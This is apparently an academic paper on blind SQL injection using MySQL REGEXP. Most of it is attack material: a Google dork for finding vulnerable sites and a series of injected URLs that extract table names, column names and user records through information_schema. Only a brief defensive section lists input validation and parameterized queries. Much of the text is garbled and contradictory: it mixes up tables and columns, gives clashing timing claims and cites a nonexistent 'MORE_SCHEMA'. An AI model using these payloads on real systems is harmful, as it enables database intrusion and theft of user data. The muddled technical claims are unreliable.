International Journal of Trend in Scientific Research and Development (IJTSRD)
Volume 5 Issue 5, July-August 2021 Available Online: www.ijtsrd.com e-ISSN: 2456 – 6470

Appreciative Advanced Blind SQLI Attack

Megha Yadav[1], Ms. Shalini Bhadola[2], Ms. Kirti Bhatia[2], Rohini Sharma[3]

[1]Master of Technology in Computer Science, MDU, Rohtak, Haryana, India
[2]Depatrment of Computer Science & Engineering, Sat kabir Institute of Technology and Management, MDU, Rohtak, Haryana, India
[3]Assistant Professor, Government College for Women Rohtak, Haryana, India

ABSTRACT
We are no longer faced with a new threats to our web applications from SQL injection attacks, and the number of attacks is steadily declining as users become more aware of the risks. Almost all web applications are still vulnerable to advanced SQL injection attacks. A regular expression-based query structure in this paper describes a new method for transforming blind SQL injection into a more effective and faster technique than traditional blind SQL injection. When we understand the cause of an attack, we are able to find more effective treatment.

KEYWORDS: *Enhanced SQL Injection, Blind SQL Injection, Regular expressions attack, Input validation*

How to cite this paper: Megha Yadav | Ms. Shalini Bhadola | Ms. Kirti Bhatia | Rohini Sharma "Appreciative Advanced Blind SQLI Attack" Published in International Journal of Trend in Scientific Research and Development (ijtsrd), ISSN: 2456-6470, Volume-5 | Issue-5, August 2021, pp.2353-2356, URL: www.ijtsrd.com/papers/ijtsrd46336.pdf

IJTSRD46336

INTRODUCTION

Our first discussion has been on simple SQL injections. When databases started flourishing on the web, SQL injections followed. A database attack is described as one that accesses the database through unauthorized means such as URLs or input methods in order to show or connect the data to a client. Therefore, it is primarily due to error coding by developers who failed to parameterize the input data or to implement a security check and have accepted input data from clients that was subject to modification, extraction, or deletion.

These attackers use advance Google search to find SQLI-vulnerable websites to launch attacks. If any error arises as a result of this modification, the website is considered vulnerable during vulnerability tests. Attackers pass extra data or alter current URLs to make the backend query different.

We are able to conduct blind SQL injection attacks on applications that do not return error messages.

1. Finding vulnerable websites:

Searching SQLI vulnerable websites, which can be difficult when we choose one specific website to attack or find a number of websites all at once, can be done very well with Google dorks A few examples: We enter the following query in the Google search box

site:.com inurl:.php?id=

All websites that are requesting data from the database using ID will be listed here and satisfying our criteria.

To retrieve data from a database, the WHERE clause of web applications uses client-supplied input to query SQL databases. You can determine if the application is susceptible to SQL injection, a SQL statement with multiple conditions and subsequent evaluation of the application's output. We determine the type of attack based on finding vulnerabilities.

Suppose you want to access a company's products via this URL:

http://www.abc.com/xyz.php?productID=35

The developers would, for example, use this SQL query to fetch information from the website

SELECT * from products where product id=35

The products will be retrieved from the database and displayed on the site:

Inject a true condition into the WHERE clause to determine if the application is vulnerable descriptor injections.

The URL is requested if

http://www.a.com/xyz.php?news=35and5=5—

You will need to submit a new query

The news where * appears news id=35 and 5=5

so, This shows a vulnerability to SQL injection if the same page is returned from the query. SQL code is interpreted from input provided by the user.

If the request is made to a secure application, the value "5 and 1=1" will cause a type mismatch, so the application will reject the request. There was no press release on the server.

2. Improved blind SQL injection using regular expression

Expending REGEXP, our search norms are binary, since it gives options from A-Z, so we keep searching until we do not find the exact word. So the attack is a mix between guessing and binary searching. Our binary search algorithm reduces search time by half compared to regular blind attacks, or we can say that we are saving time immediately when the algorithm reduces the searches.

2.1. REGEXP attack's methodology

This is a method of extracting information from databases fast. The simplicity of its methodology allows us to save a lot of time and bandwidth. Our REGEXP (My SQL) or LIKE (MSSQL) functions match a range of numbers, characters, and special characters. The REGEXP operator is used to match patterns with regular expressions. For complex searches, this feature offers a powerful method of specifying patterns. So basically, this attack exploits a pattern match method in My SQL, or if we were using MSSQL we would be able to use the LIKE function, but for complex data searches REGEXP is the more powerful function. A quick example would be helpful.

2.2. Finding if tables are present in database

Initially we check if the database contains tables or not by employing the subsequent blind attack if it does not change the web page then it has tables, the error output will indicate whether it has many tables; should it appear to be without tables, other sorts of SQL assaults can be studied using the error provided. INFORMATION_SCHEMA is a set of views that permit us to extract metadata from objects within a database, and therefore can be used to guess and search user-created tables in a database.

http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema. table_constraints limit 0,1) --

The TABLE_CONSTRAINTS has been used along with INFORMATION_SCHEMA to restrict data access by providing only user-made tables so that the attacker won't have many default tables to access. The next step is to look for these available tables in the database and then test them.

2.3. Extracting table name

Following that, we use guess method to find table names, for instance if we believe there will be a database called USER, then initially we use U and others in regexprange to determine the precise name of the table. Depending on the attack type, the attacker may guess the name of the table containing a username or password indicating which table to access.

http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.table_constraints where table_name regexp '^[a-z]' limit 0,1) –

A-Z range was used to search for table name in previous query, our table name would then begin if the test results are true. By using an alphabet and separating the range into two sets, A-M and N-Z, we keep reiterating the search query until we get the first letter of our table name even if we have trouble finding the letter. In this example, we identify that the first complemented record in the database starts with a char between [a -> z]; the following code demonstrates how to retrieve the full name of the record [1]:

http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.table_constraints where table_name regexp '^u[a-z]' limit 0,1) –

When we find first character then we are going to follow the same way to find subsequent characters so if next query returns true we are going to try it.

http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.table_constraints where table_name regexp '^us[a-z]' limit 0,1) –

Similarly we follow till we don't get FALSE http://www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.table_constraints where table_name regexp '^users[a-z]' limit 0,1) –

We extracted the table name USERS from above's query as there is no table named USERS. We can simply use the search method instead of the guess and search method, where the REGEXP range keeps fading in and out until not a word is found, we can use the truncated version.

2.4. Extracting Column name

The following query results in the column names for our table after we have guessed the table name and searched for it

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[a-z]' limit 0,1) –

So we can either predict and explore or use REGEXP to do a straight search. We solely used search without making any guesses, thus after the first real query, we separated it from the centre and continued looking for the exact term, just like our table guesses.

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[a-m]' limit 0,1) –

If the result of the above query comes true we divide it further

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[a-f]' limit 0,1) –

True

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[a-c]' limit 0,1) –

False

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[d-f]' limit 0,1) –

True

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[f]' limit 0,1) –

True

Having found the first letter'f', the same can be done with other letters, but by changing our limit, we can determine if another table starts with the same letter.

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from information_schema.columns where table_name=access and column_name regexp '^[f]' limit 1,1) –

False

There are no more tables that start with 'f'. From now on we must change the regular expression like this:

'^f[a-z]' -> '^fi[a-z]' -> '^fir[a-z]' -> '^first[a-z]' ->

FALSE

Our table name, which we will use thereafter, is what we get when we get FALSE in the end. After finding the first character, the expression is repeated several times in order to obtain the complete table name.

2.5. Extracting value from database

While following the same method, we now have access to the name of the column and the ability, making it easier to extract values from our columns now that we have all the basic information about our database.

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from users where First regexp '^[a-z]' limit 0,1) –

True

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from users where First regexp '^[a-m]' limit 0,1) --

False

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from users where First regexp '^[n-z]' limit 0,1) --

True

www.abc.com/daily/content.php?id=85019 and 1=(select 1 from users where First regexp '^[t-z]' limit 0,1) --

True

Since LIMIT and REGEXP are not present in MSSQL, this makes attacking MSSQL more complicated. TOP and LIKE are the ways to bypass it. [1]

3. Precautions

When it comes to SQL attacks, prevention is better than cure. As we know, it is developer's errors or ignorance in input validation that leads to most of

SQLI attacks. As for advanced SQLI attack security, a few precautions are critical for our web applications.

1. Validation of input before it is processed: This is an input filtration method for detecting or verifying unauthorized entries before they are processed by the application.
2. Checking Input Type: This step can be easily accomplished by developers, but it prevents input types from being entered incorrectly or maliciously into our input boxes. [2]
3. Escape database Meta characters: Database Meta characters can be escaped by prepending or preceding them. [2]
4. Making sure the query string and headers are correctly passed to our database. [2]
5. Parameterized Queries: By using parameterized queries, you can protect yourself from SQL injections.

4. Evaluation of normal Vs REGEXP base blind SQLI attack

IHTEAM's paper makes it very clear that MD5 is the case. An SQL injection blindly exports a 32-character hash. In an optimistic event, Regexp and normal blind should perform 32 queries despite the fact that the number of characters is only 16 (1234567890abcdef). [1]

Compared to normal SQLI attacks, Regexp Blind SQLI Attack needs one hundred times more time to complete[1] as opposed to standard SQLI attacks. By contrast, the advanced SQLI attack will prove much quicker than the ordinary attacks when compared to the standard ones. As developers are in the early stages of developing their website, they usually focus on simple security measures such as blind SQLI with regexp when targeting web addresses with no time limit. It may be difficult, however, for attackers to perform blind SQLI if they are searching for mass attacks.

5. Conclusion

We found that by comparing REGEXP base to blind SQL that this new method works well for hacking. Because advanced attacks such as SQLI don't care for hidden database errors, we have to build database files that are safer and more secure. According to other references, MORE_SCHEMA consistently approached more concise results with a more straightforward approach than the defaulting INFORMATION_SCHEMA method.

References

[1] Blind Sql Injection with Regular Expressions Attack: IHTEAM

[2] Full MSSQL Injection PWNage: ZeQ3uL && JabAv0C cwh.citec.us

[3] Guimarães, B. D., "Advanced SQL Injection to Operating System Full Control," Black Hat Europe, white paper, April 2009

[4] Sagar Joshi (2005): SQL injection attack and defense: Web Application and SQL injection. http://www.securitydocs.com/library/3587

[5] William G.J. Halfond, Jeremy Viegas, and Alessandro Orso (2006): A Classification of SQL Injection Attacks and Countermeasures. IEEE Conference.

[6] "SQL Injection Are Your Web Applications Vulnerable?". SPI Dynamics. 2002.

[7] http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf